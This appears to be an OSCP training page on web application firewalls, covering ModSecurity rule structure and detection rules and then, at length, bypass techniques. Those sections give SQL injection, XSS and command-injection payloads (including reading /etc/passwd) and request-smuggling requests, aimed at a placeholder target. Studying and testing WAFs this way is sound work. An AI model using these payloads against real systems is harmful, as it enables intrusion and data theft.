Domain 2Web App AttacksCORE

Web Application Firewall (WAF)

Web Application Firewall architectures, rule types, and comprehensive bypass techniques including encoding, obfuscation, parameter pollution, and request smuggling for OSCP.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#waf#modsecurity#bypass#firewall#oscp

Web Application Firewall (WAF)

1. WAF Overview

What is a WAF?

A Web Application Firewall (WAF) is a security control that monitors, filters, and blocks HTTP/HTTPS traffic between a web application and the internet. Unlike traditional network firewalls that operate at Layer 3/4 (IP/port level), WAFs operate at Layer 7 (application layer), inspecting the actual content of HTTP requests and responses.

Why WAFs Exist

WAFs are deployed to protect web applications from common attacks:

  • SQL Injection (SQLi) — Malicious SQL in parameters
  • Cross-Site Scripting (XSS) — Malicious scripts in input
  • Remote Code Execution (RCE) — Command injection via parameters
  • Local/Remote File Inclusion (LFI/RFI) — Path traversal attacks
  • Buffer Overflows — Oversized payloads
  • Known exploit patterns — CVE-specific signatures

WAF Placement

Internet -> [WAF] -> [Web Server] -> [Application Server] -> [Database]

The WAF sits in front of the web application, acting as a reverse proxy. All incoming requests pass through the WAF first. If a request matches a block rule, it is rejected before reaching the application.

Types of WAF Deployments

Type Description Examples
Network-based (nWAF) Hardware appliance on-premise F5 BIG-IP ASM, Imperva SecureSphere
Host-based (hWAF) Software installed on the web server ModSecurity (Apache/NGINX module)
Cloud-based (cWAF) SaaS/DNS-based, traffic routed through cloud AWS WAF, Cloudflare WAF, Azure WAF

Common WAF Products

  • ModSecurity — Open-source, most common in labs and OSCP-like environments. Often paired with the OWASP Core Rule Set (CRS).
  • AWS WAF — Cloud-native, rule-based, integrated with ALB/CloudFront.
  • Cloudflare WAF — Managed WAF with ML-based threat detection.
  • F5 BIG-IP ASM — Enterprise-grade, policy-based protection.
  • Imperva WAF — Cloud and on-premise options.

2. WAF Architecture

Request Flow

Client -> [WAF Inspects Request]
              |
              |-- Blocked: Return 403/406/Custom Error
              |-- Logged: Pass through but record for analysis
              |-- Allowed: Forward to Web Application
              |
Web App -> [WAF Inspects Response] -> Client

WAF Operating Modes

  1. Detection-only (Logging) Mode: All requests pass through; suspicious requests are logged but not blocked. Used during initial deployment for tuning.
  2. Blocking (Prevention) Mode: Suspicious requests matching rules are actively blocked. This is the production mode.
  3. Hybrid Mode: Some rules log, others block. Allows granular control per rule severity.

ModSecurity Rule Structure

ModSecurity uses a rule engine with the following components:

SecRule ARGS "@contains SELECT" \
    "id:1001,\
    phase:2,\
    deny,\
    status:403,\
    msg:'SQL Injection Detected',\
    severity:CRITICAL,\
    log"
  • SecRule — Defines a rule
  • ARGS — Variable to inspect (all request arguments)
  • @contains — Operator (checks if value contains the string)
  • phase:2 — Request body processing phase
  • deny — Action: block the request
  • status:403 — HTTP status code returned
  • msg — Log message
  • severity — Rule severity level

ModSecurity Phases

Phase Description
1 Request headers received
2 Request body received
3 Response headers received
4 Response body received
5 Logging (after response sent)

3. WAF Rule Types

Signature-Based Rules

Match known attack patterns using exact strings, regex, or pattern sets.

Example: Block SQL injection keywords

SecRule ARGS "@rx (?i)(union\s+select|select\s+.*\s+from)" \
    "id:2001,deny,status:403,msg:'SQLi Pattern Detected'"

Strengths: High accuracy for known attacks, low false positives for exact matches. Weaknesses: Cannot detect zero-day or novel attack patterns.

Anomaly-Based Rules

Score requests based on deviation from normal behavior. Each rule adds points; if the total exceeds a threshold, the request is blocked.

Example: OWASP CRS uses anomaly scoring

# Each match adds to the inbound anomaly score
SecRule REQUEST_URI "@contains %" \
    "id:100000,phase:1,t:none,t:urlDecodeUni,\
    pass,\
    nolog,\
    msg:'URL Encoding Anomaly',\
    severity:'WARNING',\
    tag:'PARSER/ANOMALY',\
    setvar:'tx.url_encoding_anomaly_score+=5',\
    setvar:'tx.anomaly_score_pl1+=5'"

Reputation-Based Rules

Block or flag requests from known malicious IP addresses, user agents, or geographic regions.

Behavioral Rules

Monitor user behavior patterns (login frequency, data access volume, navigation patterns) and flag anomalies.

Positive Security (Whitelist)

Only allow known-good patterns. Everything else is blocked. Most restrictive but highest security.


4. WAF Bypass Techniques

WAF bypass is a critical OSCP skill. When a WAF blocks your payload, you need techniques to evade detection while maintaining functionality at the application layer.

4.1 Encoding-Based Bypass

URL Encoding

URL encoding replaces special characters with %XX hex sequences. Some WAFs decode once but the application decodes again, creating a bypass.

Original payload:

' OR '1'='1

URL-encoded:

%27%20OR%20%271%27%3D%271

Double encoding (encode the % itself):

%2527%2520OR%2520%25271%2527%253D%25271

If the WAF decodes once (%2527 -> %27) and passes it, the application decodes again (%27 -> '), resulting in the original payload.

Base64 Encoding

If the application accepts Base64-encoded parameters:

Original: <script>alert(1)</script>
Base64: PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
POST /api/data HTTP/1.1
Content-Type: application/json

{"payload": "PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="}

Unicode Encoding

' -> %u0027
< -> %u003C
> -> %u003E

4.2 Obfuscation-Based Bypass

SQL Comment Injection

Insert SQL comments within keywords to break signature matching:

-- Original (blocked)
UNION SELECT username, password FROM users

-- With inline comments (may bypass)
UN/**/ION SE/**/LECT username, password FR/**/OM users

-- With block comments
UNI/**/ON SEL/**/ECT 1,2,3 FR/**/OM users

-- With line comments (MySQL)
UNION-- 
SELECT username,password FROM users

String Concatenation

Break keywords into concatenated strings:

-- Original
SELECT * FROM users WHERE id=1

-- Concatenated (MySQL)
SEL'ECT * FR'OM users WHERE id=1

-- Using CONCAT (MySQL)
SELECT CONCAT('user','name') FROM users

Hex/Char Encoding (SQL)

-- Original
SELECT password FROM users WHERE username='admin'

-- Hex encoding (MySQL)
SELECT password FROM users WHERE username=0x61646D696E

-- CHAR function (MySQL)
SELECT password FROM users WHERE username=CHAR(97,100,109,105,110)

4.3 Case Variation

WAF rules may be case-sensitive. Mix upper and lower case:

UnIoN SeLeCt UsErNaMe, PaSsWoRd FrOm UsErS
uNiOn sElEcT 1,2,3
sElEcT * fRoM users

Note: SQL is case-insensitive, so this works at the application level.

4.4 Comment Injection

Insert comments to break up attack patterns:

-- Block comments
1'/*comment*/OR'1'='1

-- Line comments (MySQL)
1'-- -
OR '1'='1

-- C-style comments
1'/**/OR/**/'1'='1

-- MySQL hash comments
1' # comment
OR '1'='1

4.5 HTTP Parameter Pollution (HPP)

Send duplicate parameters. Different servers handle duplicates differently:

?id=1&id=2
?id=1&id=1%20OR%201=1
?id=1&id=UNION+SELECT+null,username,password+FROM+users

Server behavior varies:

  • IIS: Concatenates values with comma (1,UNION SELECT...)
  • Apache/Tomcat: Uses first value
  • ASP.NET: Uses last value
  • Some: Uses concatenated values

The WAF may inspect only one value while the application processes another.

4.6 Content-Type Change

Change the Content-Type header to bypass WAF inspection rules that only target specific content types:

-- Normal (inspected by WAF)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=' OR 1=1--

-- Changed content type (may bypass)
POST /login HTTP/1.1
Content-Type: text/plain

username=admin&password=' OR 1=1--

-- Or use multipart
POST /login HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="password"

' OR 1=1--
------WebKitFormBoundary--

4.7 Request Smuggling

HTTP request smuggling exploits differences in how the WAF and backend server interpret HTTP request boundaries.

CL.TE Smuggling (Content-Length vs Transfer-Encoding)

The frontend (WAF) uses Content-Length to determine request boundaries, while the backend uses Transfer-Encoding: chunked:

POST / HTTP/1.1
Host: target.com
Content-Length: 12
Transfer-Encoding: chunked

0

GGET /secret HTTP/1.1
Host: target.com

The WAF sees 12 bytes of body (the 0\r\n\r\n), but the backend interprets the chunked encoding and sees the smuggled GGET request as a new request.

TE.CL Smuggling

Reverse: frontend uses chunked, backend uses content-length:

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

10

XGGET /secret HTTP/1.1
Host: target.com

4.8 Alternative Syntax

Use functionally equivalent but syntactically different expressions:

-- Instead of OR 1=1
OR '1'='1'
OR 'abc'='abc'
OR 1=1--+
OR true
OR 1!=0
OR NOT 1=0

-- Instead of AND
OR 1=1 AND 1=1

-- Instead of SELECT
SELECT DISTINCT
SELECT ALL

-- Instead of WHERE
HAVING 1=1
GROUP BY column HAVING 1=1

4.9 Null Byte Injection

Insert null bytes (%00) to truncate strings in the WAF while the application processes the full payload:

/admin.php%00.jpg
' OR 1=1%00--

Some WAFs truncate at %00 and see a benign path, while the application processes the full string.

4.10 Whitespace Variation

Replace standard spaces with alternative whitespace characters:

-- Normal spaces
UNION SELECT username, password FROM users

-- Tabs
UNION[tab]SELECT[tab]username[tab],[tab]password[tab]FROM[tab]users

-- Newlines
UNION%0ASELECT%0Ausername,password%0AFROM%0Ausers

-- Carriage returns
UNION%0DSELECT%0Dusername,password%0DFROM%0Dusers

-- Multiple spaces
UNION   SELECT    username,    password    FROM    users

-- Comments as whitespace
UNION/**/SELECT/**/username/**/,/**/password/**/FROM/**/users

4.11 WAF-Specific Bypass: ModSecurity

Rule ID Enumeration

Send payloads that trigger specific ModSecurity rules and observe the response:

# Test with different payloads to identify active rules
curl -s -o /dev/null -w "%{http_code}" "http://target/page?id=1' OR '1'='1"
# Returns 403 -> Rule triggered

curl -s -o /dev/null -w "%{http_code}" "http://target/page?id=1"
# Returns 200 -> No rule triggered

Check response headers for WAF identification:

Server: Apache/2.4.41 (Ubuntu)
X-ModSecurity-Action: "block"
X-AspNet-Version: 4.0.30319

SecRuleEngine Bypass

If ModSecurity is in detection-only mode:

SecRuleEngine DetectionOnly

All requests pass through but are logged. No blocking occurs.

Variable Scope Bypass

ModSecurity inspects different variable scopes. Bypass by placing payload in uninspected scope:

-- In Cookie (may not be inspected)
Cookie: session=' OR 1=1--

-- In User-Agent
User-Agent: Mozilla/5.0 (' OR 1=1--)

-- In custom header
X-Forwarded-For: ' OR 1=1--

-- In Referer
Referer: http://target/page?id=' OR 1=1--

5. WAF Detection and Identification

Identifying a WAF

Indicator Description
HTTP 403/406 response Common WAF block codes
Response body “Access Denied”, “Forbidden”, “Blocked by WAF”
Server header “cloudflare”, “modsecurity”, “f5”
Challenge pages CAPTCHA, JavaScript challenge (Cloudflare)
Latency Slight delay due to inspection
Cookie injection WAF-specific cookies (__cfduid, cf_ob_info)

WAF Detection Tools

# WAFW00F - WAF identification tool
wafw00f http://target.com

# WhatWef - Another WAF detector
whatwef http://target.com

# Nmap script
nmap --script http-waf-detect -p 80,443 target.com

6. Defensive Strategies

WAF Configuration Best Practices

  1. Start in detection mode — Deploy in logging mode first, tune rules, then enable blocking.
  2. Use positive security — Whitelist known-good patterns where possible.
  3. Regular rule updates — Keep WAF signatures current with new threat intelligence.
  4. Layered defense — WAF is one layer; combine with input validation, parameterized queries, and secure coding.
  5. Monitor and tune — Review blocked requests regularly; adjust rules to reduce false positives.
  6. Rate limiting — Implement request rate limits to prevent brute force and DDoS.

WAF Limitations

  • Cannot replace secure coding — WAF is a compensating control, not a fix. Zero-day blind spots — New attack patterns may not be covered.
  • Bypass risk — Skilled attackers can often find bypass techniques.
  • Performance impact — Deep inspection adds latency.
  • False positives — May block legitimate traffic.

7. OSCP Lab Scenarios

Scenario 1: SQLi Behind ModSecurity

Setup: A login page protected by ModSecurity with OWASP CRS rules.

Approach:

# Test if WAF is present
curl -s -o /dev/null -w "%{http_code}" \
  "http://target/login?user=admin' OR '1'='1"
# Returns 403 -> WAF blocking

# Try case variation
curl -s -o /dev/null -w "%{http_code}" \
  "http://target/login?user=admin' Or '1'='1"
# Returns 200 -> Bypass successful

# Try comment injection
curl -s -o /dev/null -w "%{http_code}" \
  "http://target/login?user=admin'%2f**%2fOr%2f**%2f'1'='1"
# Returns 200 -> Bypass successful

Scenario 2: XSS Behind WAF

Setup: Search functionality with ModSecurity blocking <script> tags.

Approach:

# Direct XSS blocked
curl -s "http://target/search?q=<script>alert(1)</script>"
# Returns 403

# Event handler bypass
curl -s "http://target/search?q=<img+src=x+onerror=alert(1)>"
# May bypass if WAF only blocks <script>

# Double encoding
curl -s "http://target/search?q=%253Cscript%253Ealert(1)%253C%252fscript%253E"
# Application decodes twice, WAF sees benign string

Scenario 3: Command Injection Bypass

Setup: Ping functionality with WAF blocking common command injection patterns.

Approach:

# Direct injection blocked
curl -s "http://target/ping?ip=127.0.0.1;cat+/etc/passwd"
# Returns 403

# Alternative delimiter
curl -s "http://target/ping?ip=127.0.0.1|cat+/etc/passwd"
# Pipe may not be blocked

# Backtick execution
curl -s "http://target/ping?ip=127.0.0.1\`cat+/etc/passwd\`"
# Backticks may bypass

# Encoded semicolon
curl -s "http://target/ping?ip=127.0.0.1%3Bcat+/etc/passwd"
# URL-encoded semicolon

8. Key Takeaways

For OSCP Exams

  1. Always check for WAF presence — Test with known malicious payloads and observe HTTP status codes.
  2. Try multiple bypass techniques — No single technique works universally; combine approaches.
  3. Encoding is your friend — Double encoding, URL encoding, and Unicode encoding are reliable first attempts.
  4. Case variation works for SQL — SQL is case-insensitive; WAF rules may not be.
  5. Parameter pollution is underrated — HPP can bypass WAFs that only inspect the first parameter.
  6. Check all HTTP headers — Payloads in cookies, User-Agent, and custom headers may bypass WAF inspection.
  7. Content-type changes — Switching from application/x-www-form-urlencoded to text/plain or multipart/form-data can bypass WAF rules.
  8. ModSecurity is common in labs — Know its phases, variables, and common CRS rules.

Essential Commands

# Quick WAF detection
curl -s -o /dev/null -w "%{http_code}" "http://target/page?test=<script>"

# Test bypass with Burp Suite
# 1. Send request to Repeater
# 2. Modify payload with bypass technique
# 3. Forward and observe response code

# Automated WAF identification
wafw00f http://target.com

# Fuzz for WAF rules
ffuf -u http://target/page?FUZZ=PAYLOAD \
    -w /path/to/wordlist.txt \
    -mc 200

WAF Bypass Decision Tree

Payload blocked?
├── Yes -> Check response code
│   ├── 403 -> WAF confirmed
│   │   ├── Try case variation
│   │   ├── Try encoding (URL, double, base64)
│   │   ├── Try comment injection
│   │   ├── Try parameter pollution
│   │   ├── Try content-type change
│   │   └── Try alternative HTTP methods
│   └── 500 -> Application error, not WAF
└── No -> Proceed with exploitation

9. Summary

WAFs are a common obstacle in OSCP assessments. Understanding WAF architecture, rule types, and especially bypass techniques is essential. The key is systematic testing: identify the WAF, understand its rule set through experimentation, and apply appropriate bypass techniques. Remember that WAFs are compensating controls — they cannot replace secure application development, and skilled testers can often find ways around them.

The most effective bypass strategies combine multiple techniques: encoding + obfuscation + parameter manipulation. Always verify that your bypassed payload still functions at the application level — a successful WAF bypass is meaningless if the application rejects the malformed input.